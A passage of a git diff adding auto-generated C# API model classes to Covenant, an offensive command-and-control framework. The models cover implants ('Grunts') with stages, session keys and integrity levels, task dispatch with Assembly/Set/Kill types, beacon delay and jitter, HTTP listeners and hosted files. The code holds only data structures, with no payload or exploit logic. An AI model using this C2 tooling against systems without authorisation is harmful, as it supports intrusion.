+ +namespace Covenant.API.Models +{ + using Newtonsoft.Json; + using Newtonsoft.Json.Converters; + using System.Runtime; + using System.Runtime.Serialization; + + /// + /// Defines values for EventLevel. + /// + [JsonConverter(typeof(StringEnumConverter))] + public enum EventLevel + { + [EnumMember(Value = "Silent")] + Silent, + [EnumMember(Value = "Info")] + Info, + [EnumMember(Value = "Warning")] + Warning, + [EnumMember(Value = "Highlight")] + Highlight, + [EnumMember(Value = "Error")] + Error + } + internal static class EventLevelEnumExtension + { + internal static string ToSerializedValue(this EventLevel? value) + { + return value == null ? null : ((EventLevel)value).ToSerializedValue(); + } + + internal static string ToSerializedValue(this EventLevel value) + { + switch( value ) + { + case EventLevel.Silent: + return "Silent"; + case EventLevel.Info: + return "Info"; + case EventLevel.Warning: + return "Warning"; + case EventLevel.Highlight: + return "Highlight"; + case EventLevel.Error: + return "Error"; + } + return null; + } + + internal static EventLevel? ParseEventLevel(this string value) + { + switch( value ) + { + case "Silent": + return EventLevel.Silent; + case "Info": + return EventLevel.Info; + case "Warning": + return EventLevel.Warning; + case "Highlight": + return EventLevel.Highlight; + case "Error": + return EventLevel.Error; + } + return null; + } + } +} diff --git a/Covenant/API/Models/EventModel.cs b/Covenant/API/Models/EventModel.cs new file mode 100644 index 00000000..84a356bc --- /dev/null +++ b/Covenant/API/Models/EventModel.cs @@ -0,0 +1,79 @@ +// +// Code generated by Microsoft (R) AutoRest Code Generator. +// Changes may cause incorrect behavior and will be lost if the code is +// regenerated. +// + +namespace Covenant.API.Models +{ + using Newtonsoft.Json; + using System.Linq; + + public partial class EventModel + { + /// + /// Initializes a new instance of the EventModel class. + /// + public EventModel() + { + CustomInit(); + } + + /// + /// Initializes a new instance of the EventModel class. + /// + /// Possible values include: 'Silent', 'Info', + /// 'Warning', 'Highlight', 'Error' + /// Possible values include: 'Normal', + /// 'Download' + public EventModel(int? id = default(int?), System.DateTime? time = default(System.DateTime?), string message = default(string), EventLevel? level = default(EventLevel?), EventType? type = default(EventType?), string context = default(string)) + { + Id = id; + Time = time; + Message = message; + Level = level; + Type = type; + Context = context; + CustomInit(); + } + + /// + /// An initialization method that performs custom operations like setting defaults + /// + partial void CustomInit(); + + /// + /// + [JsonProperty(PropertyName = "id")] + public int? Id { get; set; } + + /// + /// + [JsonProperty(PropertyName = "time")] + public System.DateTime? Time { get; set; } + + /// + /// + [JsonProperty(PropertyName = "message")] + public string Message { get; set; } + + /// + /// Gets or sets possible values include: 'Silent', 'Info', 'Warning', + /// 'Highlight', 'Error' + /// + [JsonProperty(PropertyName = "level")] + public EventLevel? Level { get; set; } + + /// + /// Gets or sets possible values include: 'Normal', 'Download' + /// + [JsonProperty(PropertyName = "type")] + public EventType? Type { get; set; } + + /// + /// + [JsonProperty(PropertyName = "context")] + public string Context { get; set; } + + } +} diff --git a/Covenant/API/Models/EventType.cs b/Covenant/API/Models/EventType.cs new file mode 100644 index 00000000..d55e91e1 --- /dev/null +++ b/Covenant/API/Models/EventType.cs @@ -0,0 +1,56 @@ +// +// Code generated by Microsoft (R) AutoRest Code Generator. +// Changes may cause incorrect behavior and will be lost if the code is +// regenerated. +// + +namespace Covenant.API.Models +{ + using Newtonsoft.Json; + using Newtonsoft.Json.Converters; + using System.Runtime; + using System.Runtime.Serialization; + + /// + /// Defines values for EventType. + /// + [JsonConverter(typeof(StringEnumConverter))] + public enum EventType + { + [EnumMember(Value = "Normal")] + Normal, + [EnumMember(Value = "Download")] + Download + } + internal static class EventTypeEnumExtension + { + internal static string ToSerializedValue(this EventType? value) + { + return value == null ? null : ((EventType)value).ToSerializedValue(); + } + + internal static string ToSerializedValue(this EventType value) + { + switch( value ) + { + case EventType.Normal: + return "Normal"; + case EventType.Download: + return "Download"; + } + return null; + } + + internal static EventType? ParseEventType(this string value) + { + switch( value ) + { + case "Normal": + return EventType.Normal; + case "Download": + return EventType.Download; + } + return null; + } + } +} diff --git a/Covenant/API/Models/FileIndicator.cs b/Covenant/API/Models/FileIndicator.cs new file mode 100644 index 00000000..587676ad --- /dev/null +++ b/Covenant/API/Models/FileIndicator.cs @@ -0,0 +1,78 @@ +// +// Code generated by Microsoft (R) AutoRest Code Generator. +// Changes may cause incorrect behavior and will be lost if the code is +// regenerated. +// + +namespace Covenant.API.Models +{ + using Newtonsoft.Json; + using System.Linq; + + public partial class FileIndicator + { + /// + /// Initializes a new instance of the FileIndicator class. + /// + public FileIndicator() + { + CustomInit(); + } + + /// + /// Initializes a new instance of the FileIndicator class. + /// + public FileIndicator(string fileName = default(string), string filePath = default(string), string shA2 = default(string), string shA1 = default(string), string mD5 = default(string), int? id = default(int?), string name = default(string)) + { + FileName = fileName; + FilePath = filePath; + ShA2 = shA2; + ShA1 = shA1; + MD5 = mD5; + Id = id; + Name = name; + CustomInit(); + } + + /// + /// An initialization method that performs custom operations like setting defaults + /// + partial void CustomInit(); + + /// + /// + [JsonProperty(PropertyName = "fileName")] + public string FileName { get; set; } + + /// + /// + [JsonProperty(PropertyName = "filePath")] + public string FilePath { get; set; } + + /// + /// + [JsonProperty(PropertyName = "shA2")] + public string ShA2 { get; set; } + + /// + /// + [JsonProperty(PropertyName = "shA1")] + public string ShA1 { get; set; } + + /// + /// + [JsonProperty(PropertyName = "mD5")] + public string MD5 { get; set; } + + /// + /// + [JsonProperty(PropertyName = "id")] + public int? Id { get; set; } + + /// + /// + [JsonProperty(PropertyName = "name")] + public string Name { get; set; } + + } +} diff --git a/Covenant/API/Models/Grunt.cs b/Covenant/API/Models/Grunt.cs new file mode 100644 index 00000000..9ec523ec --- /dev/null +++ b/Covenant/API/Models/Grunt.cs @@ -0,0 +1,173 @@ +// +// Code generated by Microsoft (R) AutoRest Code Generator. +// Changes may cause incorrect behavior and will be lost if the code is +// regenerated. +// + +namespace Covenant.API.Models +{ + using Newtonsoft.Json; + using System.Linq; + + public partial class Grunt + { + /// + /// Initializes a new instance of the Grunt class. + /// + public Grunt() + { + CustomInit(); + } + + /// + /// Initializes a new instance of the Grunt class. + /// + /// Possible values include: + /// 'Net40', 'Net35', 'NetCore21' + /// Possible values include: 'Uninitialized', + /// 'Stage0', 'Stage1', 'Stage2', 'Active', 'Lost', 'Killed' + /// Possible values include: 'Untrusted', + /// 'Low', 'Medium', 'High', 'System' + public Grunt(int? id = default(int?), string name = default(string), DotNetVersion? dotNetFrameworkVersion = default(DotNetVersion?), int? listenerId = default(int?), string covenantIPAddress = default(string), int? delay = default(int?), int? jitter = default(int?), int? connectAttempts = default(int?), string lastCheckIn = default(string), GruntStatus? status = default(GruntStatus?), IntegrityLevel? integrity = default(IntegrityLevel?), string process = default(string), string userDomainName = default(string), string userName = default(string), string ipAddress = default(string), string operatingSystem = default(string), string gruntSharedSecretPassword = default(string), string gruntRSAPublicKey = default(string), string gruntNegotiatedSessionKey = default(string), string gruntChallenge = default(string), string cookieAuthKey = default(string)) + { + Id = id; + Name = name; + DotNetFrameworkVersion = dotNetFrameworkVersion; + ListenerId = listenerId; + CovenantIPAddress = covenantIPAddress; + Delay = delay; + Jitter = jitter; + ConnectAttempts = connectAttempts; + LastCheckIn = lastCheckIn; + Status = status; + Integrity = integrity; + Process = process; + UserDomainName = userDomainName; + UserName = userName; + IpAddress = ipAddress; + OperatingSystem = operatingSystem; + GruntSharedSecretPassword = gruntSharedSecretPassword; + GruntRSAPublicKey = gruntRSAPublicKey; + GruntNegotiatedSessionKey = gruntNegotiatedSessionKey; + GruntChallenge = gruntChallenge; + CookieAuthKey = cookieAuthKey; + CustomInit(); + } + + /// + /// An initialization method that performs custom operations like setting defaults + /// + partial void CustomInit(); + + /// + /// + [JsonProperty(PropertyName = "id")] + public int? Id { get; set; } + + /// + /// + [JsonProperty(PropertyName = "name")] + public string Name { get; set; } + + /// + /// Gets or sets possible values include: 'Net40', 'Net35', 'NetCore21' + /// + [JsonProperty(PropertyName = "dotNetFrameworkVersion")] + public DotNetVersion? DotNetFrameworkVersion { get; set; } + + /// + /// + [JsonProperty(PropertyName = "listenerId")] + public int? ListenerId { get; set; } + + /// + /// + [JsonProperty(PropertyName = "covenantIPAddress")] + public string CovenantIPAddress { get; set; } + + /// + /// + [JsonProperty(PropertyName = "delay")] + public int? Delay { get; set; } + + /// + /// + [JsonProperty(PropertyName = "jitter")] + public int? Jitter { get; set; } + + /// + /// + [JsonProperty(PropertyName = "connectAttempts")] + public int? ConnectAttempts { get; set; } + + /// + /// + [JsonProperty(PropertyName = "lastCheckIn")] + public string LastCheckIn { get; set; } + + /// + /// Gets or sets possible values include: 'Uninitialized', 'Stage0', + /// 'Stage1', 'Stage2', 'Active', 'Lost', 'Killed' + /// + [JsonProperty(PropertyName = "status")] + public GruntStatus? Status { get; set; } + + /// + /// Gets or sets possible values include: 'Untrusted', 'Low', 'Medium', + /// 'High', 'System' + /// + [JsonProperty(PropertyName = "integrity")] + public IntegrityLevel? Integrity { get; set; } + + /// + /// + [JsonProperty(PropertyName = "process")] + public string Process { get; set; } + + /// + /// + [JsonProperty(PropertyName = "userDomainName")] + public string UserDomainName { get; set; } + + /// + /// + [JsonProperty(PropertyName = "userName")] + public string UserName { get; set; } + + /// + /// + [JsonProperty(PropertyName = "ipAddress")] + public string IpAddress { get; set; } + + /// + /// + [JsonProperty(PropertyName = "operatingSystem")] + public string OperatingSystem { get; set; } + + /// + /// + [JsonProperty(PropertyName = "gruntSharedSecretPassword")] + public string GruntSharedSecretPassword { get; set; } + + /// + /// + [JsonProperty(PropertyName = "gruntRSAPublicKey")] + public string GruntRSAPublicKey { get; set; } + + /// + /// + [JsonProperty(PropertyName = "gruntNegotiatedSessionKey")] + public string GruntNegotiatedSessionKey { get; set; } + + /// + /// + [JsonProperty(PropertyName = "gruntChallenge")] + public string GruntChallenge { get; set; } + + /// + /// + [JsonProperty(PropertyName = "cookieAuthKey")] + public string CookieAuthKey { get; set; } + + } +} diff --git a/Covenant/API/Models/GruntSetTaskingType.cs b/Covenant/API/Models/GruntSetTaskingType.cs new file mode 100644 index 00000000..1ca91fe0 --- /dev/null +++ b/Covenant/API/Models/GruntSetTaskingType.cs @@ -0,0 +1,62 @@ +// +// Code generated by Microsoft (R) AutoRest Code Generator. +// Changes may cause incorrect behavior and will be lost if the code is +// regenerated. +// + +namespace Covenant.API.Models +{ + using Newtonsoft.Json; + using Newtonsoft.Json.Converters; + using System.Runtime; + using System.Runtime.Serialization; + + /// + /// Defines values for GruntSetTaskingType. + /// + [JsonConverter(typeof(StringEnumConverter))] + public enum GruntSetTaskingType + { + [EnumMember(Value = "Delay")] + Delay, + [EnumMember(Value = "Jitter")] + Jitter, + [EnumMember(Value = "ConnectAttempts")] + ConnectAttempts + } + internal static class GruntSetTaskingTypeEnumExtension + { + internal static string ToSerializedValue(this GruntSetTaskingType? value) + { + return value == null ? null : ((GruntSetTaskingType)value).ToSerializedValue(); + } + + internal static string ToSerializedValue(this GruntSetTaskingType value) + { + switch( value ) + { + case GruntSetTaskingType.Delay: + return "Delay"; + case GruntSetTaskingType.Jitter: + return "Jitter"; + case GruntSetTaskingType.ConnectAttempts: + return "ConnectAttempts"; + } + return null; + } + + internal static GruntSetTaskingType? ParseGruntSetTaskingType(this string value) + { + switch( value ) + { + case "Delay": + return GruntSetTaskingType.Delay; + case "Jitter": + return GruntSetTaskingType.Jitter; + case "ConnectAttempts": + return GruntSetTaskingType.ConnectAttempts; + } + return null; + } + } +} diff --git a/Covenant/API/Models/GruntStatus.cs b/Covenant/API/Models/GruntStatus.cs new file mode 100644 index 00000000..1d63dbd9 --- /dev/null +++ b/Covenant/API/Models/GruntStatus.cs @@ -0,0 +1,86 @@ +// +// Code generated by Microsoft (R) AutoRest Code Generator. +// Changes may cause incorrect behavior and will be lost if the code is +// regenerated. +// + +namespace Covenant.API.Models +{ + using Newtonsoft.Json; + using Newtonsoft.Json.Converters; + using System.Runtime; + using System.Runtime.Serialization; + + /// + /// Defines values for GruntStatus. + /// + [JsonConverter(typeof(StringEnumConverter))] + public enum GruntStatus + { + [EnumMember(Value = "Uninitialized")] + Uninitialized, + [EnumMember(Value = "Stage0")] + Stage0, + [EnumMember(Value = "Stage1")] + Stage1, + [EnumMember(Value = "Stage2")] + Stage2, + [EnumMember(Value = "Active")] + Active, + [EnumMember(Value = "Lost")] + Lost, + [EnumMember(Value = "Killed")] + Killed + } + internal static class GruntStatusEnumExtension + { + internal static string ToSerializedValue(this GruntStatus? value) + { + return value == null ? null : ((GruntStatus)value).ToSerializedValue(); + } + + internal static string ToSerializedValue(this GruntStatus value) + { + switch( value ) + { + case GruntStatus.Uninitialized: + return "Uninitialized"; + case GruntStatus.Stage0: + return "Stage0"; + case GruntStatus.Stage1: + return "Stage1"; + case GruntStatus.Stage2: + return "Stage2"; + case GruntStatus.Active: + return "Active"; + case GruntStatus.Lost: + return "Lost"; + case GruntStatus.Killed: + return "Killed"; + } + return null; + } + + internal static GruntStatus? ParseGruntStatus(this string value) + { + switch( value ) + { + case "Uninitialized": + return GruntStatus.Uninitialized; + case "Stage0": + return GruntStatus.Stage0; + case "Stage1": + return GruntStatus.Stage1; + case "Stage2": + return GruntStatus.Stage2; + case "Active": + return GruntStatus.Active; + case "Lost": + return GruntStatus.Lost; + case "Killed": + return GruntStatus.Killed; + } + return null; + } + } +} diff --git a/Covenant/API/Models/GruntTask.cs b/Covenant/API/Models/GruntTask.cs new file mode 100644 index 00000000..90b622e0 --- /dev/null +++ b/Covenant/API/Models/GruntTask.cs @@ -0,0 +1,74 @@ +// +// Code generated by Microsoft (R) AutoRest Code Generator. +// Changes may cause incorrect behavior and will be lost if the code is +// regenerated. +// + +namespace Covenant.API.Models +{ + using Newtonsoft.Json; + using System.Collections; + using System.Collections.Generic; + using System.Linq; + + public partial class GruntTask + { + /// + /// Initializes a new instance of the GruntTask class. + /// + public GruntTask() + { + CustomInit(); + } + + /// + /// Initializes a new instance of the GruntTask class. + /// + public GruntTask(int? id = default(int?), string name = default(string), string description = default(string), string referenceAssemblies = default(string), IList options = default(IList), string code = default(string)) + { + Id = id; + Name = name; + Description = description; + ReferenceAssemblies = referenceAssemblies; + Options = options; + Code = code; + CustomInit(); + } + + /// + /// An initialization method that performs custom operations like setting defaults + /// + partial void CustomInit(); + + /// + /// + [JsonProperty(PropertyName = "id")] + public int? Id { get; set; } + + /// + /// + [JsonProperty(PropertyName = "name")] + public string Name { get; set; } + + /// + /// + [JsonProperty(PropertyName = "description")] + public string Description { get; set; } + + /// + /// + [JsonProperty(PropertyName = "referenceAssemblies")] + public string ReferenceAssemblies { get; set; } + + /// + /// + [JsonProperty(PropertyName = "options")] + public IList Options { get; set; } + + /// + /// + [JsonProperty(PropertyName = "code")] + public string Code { get; set; } + + } +} diff --git a/Covenant/API/Models/GruntTaskOption.cs b/Covenant/API/Models/GruntTaskOption.cs new file mode 100644 index 00000000..bbe81271 --- /dev/null +++ b/Covenant/API/Models/GruntTaskOption.cs @@ -0,0 +1,72 @@ +// +// Code generated by Microsoft (R) AutoRest Code Generator. +// Changes may cause incorrect behavior and will be lost if the code is +// regenerated. +// + +namespace Covenant.API.Models +{ + using Newtonsoft.Json; + using System.Linq; + + public partial class GruntTaskOption + { + /// + /// Initializes a new instance of the GruntTaskOption class. + /// + public GruntTaskOption() + { + CustomInit(); + } + + /// + /// Initializes a new instance of the GruntTaskOption class. + /// + public GruntTaskOption(int? id = default(int?), int? taskId = default(int?), int? optionId = default(int?), string name = default(string), string description = default(string), string value = default(string)) + { + Id = id; + TaskId = taskId; + OptionId = optionId; + Name = name; + Description = description; + Value = value; + CustomInit(); + } + + /// + /// An initialization method that performs custom operations like setting defaults + /// + partial void CustomInit(); + + /// + /// + [JsonProperty(PropertyName = "id")] + public int? Id { get; set; } + + /// + /// + [JsonProperty(PropertyName = "taskId")] + public int? TaskId { get; set; } + + /// + /// + [JsonProperty(PropertyName = "optionId")] + public int? OptionId { get; set; } + + /// + /// + [JsonProperty(PropertyName = "name")] + public string Name { get; set; } + + /// + /// + [JsonProperty(PropertyName = "description")] + public string Description { get; set; } + + /// + /// + [JsonProperty(PropertyName = "value")] + public string Value { get; set; } + + } +} diff --git a/Covenant/API/Models/GruntTasking.cs b/Covenant/API/Models/GruntTasking.cs new file mode 100644 index 00000000..f3961aa2 --- /dev/null +++ b/Covenant/API/Models/GruntTasking.cs @@ -0,0 +1,113 @@ +// +// Code generated by Microsoft (R) AutoRest Code Generator. +// Changes may cause incorrect behavior and will be lost if the code is +// regenerated. +// + +namespace Covenant.API.Models +{ + using Newtonsoft.Json; + using System.Linq; + + public partial class GruntTasking + { + /// + /// Initializes a new instance of the GruntTasking class. + /// + public GruntTasking() + { + CustomInit(); + } + + /// + /// Initializes a new instance of the GruntTasking class. + /// + /// Possible values include: 'Uninitialized', + /// 'Tasked', 'Progressed', 'Completed' + /// Possible values include: 'Assembly', 'Set', + /// 'Kill' + /// Possible values include: 'Delay', 'Jitter', + /// 'ConnectAttempts' + public GruntTasking(int? id = default(int?), string name = default(string), int? taskId = default(int?), int? gruntId = default(int?), GruntTaskingStatus? status = default(GruntTaskingStatus?), GruntTaskingType? type = default(GruntTaskingType?), string gruntTaskOutput = default(string), GruntTaskingMessage taskingMessage = default(GruntTaskingMessage), string gruntTaskingAssembly = default(string), GruntSetTaskingType? setType = default(GruntSetTaskingType?), string value = default(string)) + { + Id = id; + Name = name; + TaskId = taskId; + GruntId = gruntId; + Status = status; + Type = type; + GruntTaskOutput = gruntTaskOutput; + TaskingMessage = taskingMessage; + GruntTaskingAssembly = gruntTaskingAssembly; + SetType = setType; + Value = value; + CustomInit(); + } + + /// + /// An initialization method that performs custom operations like setting defaults + /// + partial void CustomInit(); + + /// + /// + [JsonProperty(PropertyName = "id")] + public int? Id { get; set; } + + /// + /// + [JsonProperty(PropertyName = "name")] + public string Name { get; set; } + + /// + /// + [JsonProperty(PropertyName = "taskId")] + public int? TaskId { get; set; } + + /// + /// + [JsonProperty(PropertyName = "gruntId")] + public int? GruntId { get; set; } + + /// + /// Gets or sets possible values include: 'Uninitialized', 'Tasked', + /// 'Progressed', 'Completed' + /// + [JsonProperty(PropertyName = "status")] + public GruntTaskingStatus? Status { get; set; } + + /// + /// Gets or sets possible values include: 'Assembly', 'Set', 'Kill' + /// + [JsonProperty(PropertyName = "type")] + public GruntTaskingType? Type { get; set; } + + /// + /// + [JsonProperty(PropertyName = "gruntTaskOutput")] + public string GruntTaskOutput { get; set; } + + /// + /// + [JsonProperty(PropertyName = "taskingMessage")] + public GruntTaskingMessage TaskingMessage { get; private set; } + + /// + /// + [JsonProperty(PropertyName = "gruntTaskingAssembly")] + public string GruntTaskingAssembly { get; private set; } + + /// + /// Gets or sets possible values include: 'Delay', 'Jitter', + /// 'ConnectAttempts' + /// + [JsonProperty(PropertyName = "setType")] + public GruntSetTaskingType? SetType { get; set; } + + /// + /// + [JsonProperty(PropertyName = "value")] + public string Value { get; set; } + + } +} diff --git a/Covenant/API/Models/GruntTaskingMessage.cs b/Covenant/API/Models/GruntTaskingMessage.cs new file mode 100644 index 00000000..8974d015 --- /dev/null +++ b/Covenant/API/Models/GruntTaskingMessage.cs @@ -0,0 +1,57 @@ +// +// Code generated by Microsoft (R) AutoRest Code Generator. +// Changes may cause incorrect behavior and will be lost if the code is +// regenerated. +// + +namespace Covenant.API.Models +{ + using Newtonsoft.Json; + using System.Linq; + + public partial class GruntTaskingMessage + { + /// + /// Initializes a new instance of the GruntTaskingMessage class. + /// + public GruntTaskingMessage() + { + CustomInit(); + } + + /// + /// Initializes a new instance of the GruntTaskingMessage class. + /// + /// Possible values include: 'Assembly', 'Set', + /// 'Kill' + public GruntTaskingMessage(GruntTaskingType? type = default(GruntTaskingType?), string name = default(string), string message = default(string)) + { + Type = type; + Name = name; + Message = message; + CustomInit(); + } + + /// + /// An initialization method that performs custom operations like setting defaults + /// + partial void CustomInit(); + + /// + /// Gets or sets possible values include: 'Assembly', 'Set', 'Kill' + /// + [JsonProperty(PropertyName = "type")] + public GruntTaskingType? Type { get; set; } + + /// + /// + [JsonProperty(PropertyName = "name")] + public string Name { get; set; } + + /// + /// + [JsonProperty(PropertyName = "message")] + public string Message { get; set; } + + } +} diff --git a/Covenant/API/Models/GruntTaskingStatus.cs b/Covenant/API/Models/GruntTaskingStatus.cs new file mode 100644 index 00000000..04a7880b --- /dev/null +++ b/Covenant/API/Models/GruntTaskingStatus.cs @@ -0,0 +1,68 @@ +// +// Code generated by Microsoft (R) AutoRest Code Generator. +// Changes may cause incorrect behavior and will be lost if the code is +// regenerated. +// + +namespace Covenant.API.Models +{ + using Newtonsoft.Json; + using Newtonsoft.Json.Converters; + using System.Runtime; + using System.Runtime.Serialization; + + /// + /// Defines values for GruntTaskingStatus. + /// + [JsonConverter(typeof(StringEnumConverter))] + public enum GruntTaskingStatus + { + [EnumMember(Value = "Uninitialized")] + Uninitialized, + [EnumMember(Value = "Tasked")] + Tasked, + [EnumMember(Value = "Progressed")] + Progressed, + [EnumMember(Value = "Completed")] + Completed + } + internal static class GruntTaskingStatusEnumExtension + { + internal static string ToSerializedValue(this GruntTaskingStatus? value) + { + return value == null ? null : ((GruntTaskingStatus)value).ToSerializedValue(); + } + + internal static string ToSerializedValue(this GruntTaskingStatus value) + { + switch( value ) + { + case GruntTaskingStatus.Uninitialized: + return "Uninitialized"; + case GruntTaskingStatus.Tasked: + return "Tasked"; + case GruntTaskingStatus.Progressed: + return "Progressed"; + case GruntTaskingStatus.Completed: + return "Completed"; + } + return null; + } + + internal static GruntTaskingStatus? ParseGruntTaskingStatus(this string value) + { + switch( value ) + { + case "Uninitialized": + return GruntTaskingStatus.Uninitialized; + case "Tasked": + return GruntTaskingStatus.Tasked; + case "Progressed": + return GruntTaskingStatus.Progressed; + case "Completed": + return GruntTaskingStatus.Completed; + } + return null; + } + } +} diff --git a/Covenant/API/Models/GruntTaskingType.cs b/Covenant/API/Models/GruntTaskingType.cs new file mode 100644 index 00000000..dfde322b --- /dev/null +++ b/Covenant/API/Models/GruntTaskingType.cs @@ -0,0 +1,62 @@ +// +// Code generated by Microsoft (R) AutoRest Code Generator. +// Changes may cause incorrect behavior and will be lost if the code is +// regenerated. +// + +namespace Covenant.API.Models +{ + using Newtonsoft.Json; + using Newtonsoft.Json.Converters; + using System.Runtime; + using System.Runtime.Serialization; + + /// + /// Defines values for GruntTaskingType. + /// + [JsonConverter(typeof(StringEnumConverter))] + public enum GruntTaskingType + { + [EnumMember(Value = "Assembly")] + Assembly, + [EnumMember(Value = "Set")] + Set, + [EnumMember(Value = "Kill")] + Kill + } + internal static class GruntTaskingTypeEnumExtension + { + internal static string ToSerializedValue(this GruntTaskingType? value) + { + return value == null ? null : ((GruntTaskingType)value).ToSerializedValue(); + } + + internal static string ToSerializedValue(this GruntTaskingType value) + { + switch( value ) + { + case GruntTaskingType.Assembly: + return "Assembly"; + case GruntTaskingType.Set: + return "Set"; + case GruntTaskingType.Kill: + return "Kill"; + } + return null; + } + + internal static GruntTaskingType? ParseGruntTaskingType(this string value) + { + switch( value ) + { + case "Assembly": + return GruntTaskingType.Assembly; + case "Set": + return GruntTaskingType.Set; + case "Kill": + return GruntTaskingType.Kill; + } + return null; + } + } +} diff --git a/Covenant/API/Models/HTTPListener.cs b/Covenant/API/Models/HTTPListener.cs new file mode 100644 index 00000000..69d35ba2 --- /dev/null +++ b/Covenant/API/Models/HTTPListener.cs @@ -0,0 +1,130 @@ +// +// Code generated by Microsoft (R) AutoRest Code Generator. +// Changes may cause incorrect behavior and will be lost if the code is +// regenerated. +// + +namespace Covenant.API.Models +{ + using Newtonsoft.Json; + using System.Linq; + + public partial class HttpListener + { + /// + /// Initializes a new instance of the HttpListener class. + /// + public HttpListener() + { + CustomInit(); + } + + /// + /// Initializes a new instance of the HttpListener class. + /// + /// Possible values include: 'Uninitialized', + /// 'Active', 'Stopped' + public HttpListener(bool? useSSL = default(bool?), string sslCertificate = default(string), string sslCertificatePassword = default(string), string sslCertHash = default(string), string url = default(string), int? id = default(int?), int? profileId = default(int?), string name = default(string), string description = default(string), string bindAddress = default(string), int? bindPort = default(int?), string connectAddress = default(string), int? listenerTypeId = default(int?), ListenerStatus? status = default(ListenerStatus?), string covenantToken = default(string)) + { + UseSSL = useSSL; + SslCertificate = sslCertificate; + SslCertificatePassword = sslCertificatePassword; + SslCertHash = sslCertHash; + Url = url; + Id = id; + ProfileId = profileId; + Name = name; + Description = description; + BindAddress = bindAddress; + BindPort = bindPort; + ConnectAddress = connectAddress; + ListenerTypeId = listenerTypeId; + Status = status; + CovenantToken = covenantToken; + CustomInit(); + } + + /// + /// An initialization method that performs custom operations like setting defaults + /// + partial void CustomInit(); + + /// + /// + [JsonProperty(PropertyName = "useSSL")] + public bool? UseSSL { get; set; } + + /// + /// + [JsonProperty(PropertyName = "sslCertificate")] + public string SslCertificate { get; set; } + + /// + /// + [JsonProperty(PropertyName = "sslCertificatePassword")] + public string SslCertificatePassword { get; set; } + + /// + /// + [JsonProperty(PropertyName = "sslCertHash")] + public string SslCertHash { get; private set; } + + /// + /// + [JsonProperty(PropertyName = "url")] + public string Url { get; set; } + + /// + /// + [JsonProperty(PropertyName = "id")] + public int? Id { get; set; } + + /// + /// + [JsonProperty(PropertyName = "profileId")] + public int? ProfileId { get; set; } + + /// + /// + [JsonProperty(PropertyName = "name")] + public string Name { get; set; } + + /// + /// + [JsonProperty(PropertyName = "description")] + public string Description { get; set; } + + /// + /// + [JsonProperty(PropertyName = "bindAddress")] + public string BindAddress { get; set; } + + /// + /// + [JsonProperty(PropertyName = "bindPort")] + public int? BindPort { get; set; } + + /// + /// + [JsonProperty(PropertyName = "connectAddress")] + public string ConnectAddress { get; set; } + + /// + /// + [JsonProperty(PropertyName = "listenerTypeId")] + public int? ListenerTypeId { get; set; } + + /// + /// Gets or sets possible values include: 'Uninitialized', 'Active', + /// 'Stopped' + /// + [JsonProperty(PropertyName = "status")] + public ListenerStatus? Status { get; set; } + + /// + /// + [JsonProperty(PropertyName = "covenantToken")] + public string CovenantToken { get; set; } + + } +} diff --git a/Covenant/API/Models/HostedFile.cs b/Covenant/API/Models/HostedFile.cs new file mode 100644 index 00000000..e45f6b86 --- /dev/null +++ b/Covenant/API/Models/HostedFile.cs @@ -0,0 +1,60 @@ +// +// Code generated by Microsoft (R) AutoRest Code Generator. +// Changes may cause incorrect behavior and will be lost if the code is +// regenerated. +// + +namespace Covenant.API.Models +{ + using Newtonsoft.Json; + using System.Linq; + + public partial class HostedFile + { + /// + /// Initializes a new instance of the HostedFile class. + /// + public HostedFile() + { + CustomInit(); + } + + /// + /// Initializes a new instance of the HostedFile class. + /// + public HostedFile(int? id = default(int?), int? listenerId = default(int?), string path = default(string), string content = default(string)) + { + Id = id; + ListenerId = listenerId; + Path = path; + Content = content; + CustomInit(); + } + + /// + /// An initialization method that performs custom operations like setting defaults + /// + partial void CustomInit(); + + /// + /// + [JsonProperty(PropertyName = "id")] + public int? Id { get; set; } + + /// + /// + [JsonProperty(PropertyName = "listenerId")] + public int? ListenerId { get; set; } + + /// + /// + [JsonProperty(PropertyName = "path")] + public string Path { get; set; } + + /// + /// + [JsonProperty(PropertyName = "content")] + public string Content { get; set; } + + } +} diff --git a/Covenant/API/Models/HttpProfile.cs b/Covenant/API/Models/HttpProfile.cs new file mode 100644 index 00000000..8162de4a --- /dev/null +++ b/Covenant/API/Models/HttpProfile.cs @@ -0,0 +1,96 @@ +// +// Code generated by Microsoft (R) AutoRest Code Generator. +// Changes may cause incorrect behavior and will be lost if the code is +// regenerated. +// + +namespace Covenant.API.Models +{ + using Newtonsoft.Json; + using System.Linq; + + public partial class HttpProfile + { + /// + /// Initializes a new instance of the HttpProfile class. + /// + public HttpProfile() + { + CustomInit(); + } + + /// + /// Initializes a new instance of the HttpProfile class. + /// + public HttpProfile(string name = default(string), string httpUrls = default(string), string httpCookies = default(string), string httpMessageTransform = default(string), string httpRequestHeaders = default(string), string httpPostRequest = default(string), string httpResponseHeaders = default(string), string httpGetResponse = default(string), string httpPostResponse = default(string), int? id = default(int?)) + { + Name = name; + HttpUrls = httpUrls; + HttpCookies = httpCookies; + HttpMessageTransform = httpMessageTransform; + HttpRequestHeaders = httpRequestHeaders; + HttpPostRequest = httpPostRequest; + HttpResponseHeaders = httpResponseHeaders; + HttpGetResponse = httpGetResponse; + HttpPostResponse = httpPostResponse; + Id = id; + CustomInit(); + } + + /// + /// An initialization method that performs custom operations like setting defaults + /// + partial void CustomInit(); + + /// + /// + [JsonProperty(PropertyName = "name")] + public string Name { get; set; } + + /// + /// + [JsonProperty(PropertyName = "httpUrls")] + public string HttpUrls { get; set; } + + /// + /// + [JsonProperty(PropertyName = "httpCookies")] + public string HttpCookies { get; set; } + + /// + /// + [JsonProperty(PropertyName = "httpMessageTransform")] + public string HttpMessageTransform { get; set; } + + /// + /// + [JsonProperty(PropertyName = "httpRequestHeaders")] + public string HttpRequestHeaders { get; set; } + + /// + /// + [JsonProperty(PropertyName = "httpPostRequest")] + public string HttpPostRequest { get; set; } + + /// + /// + [JsonProperty(PropertyName = "httpResponseHeaders")] + public string HttpResponseHeaders { get; set; } + + /// + /// + [JsonProperty(PropertyName = "httpGetResponse")] + public string HttpGetResponse { get; set; } + + /// + /// + [JsonProperty(PropertyName = "httpPostResponse")] + public string HttpPostResponse { get; set; } + + /// + /// + [JsonProperty(PropertyName = "id")] + public int? Id { get; set; } + + } +} diff --git a/Covenant/API/Models/IdentityRole.cs b/Covenant/API/Models/IdentityRole.cs new file mode 100644 index 00000000..44ec2401 --- /dev/null +++ b/Covenant/API/Models/IdentityRole.cs @@ -0,0 +1,60 @@ +// +// Code generated by Microsoft (R) AutoRest Code Generator. +// Changes may cause incorrect behavior and will be lost if the code is +// regenerated. +// + +namespace 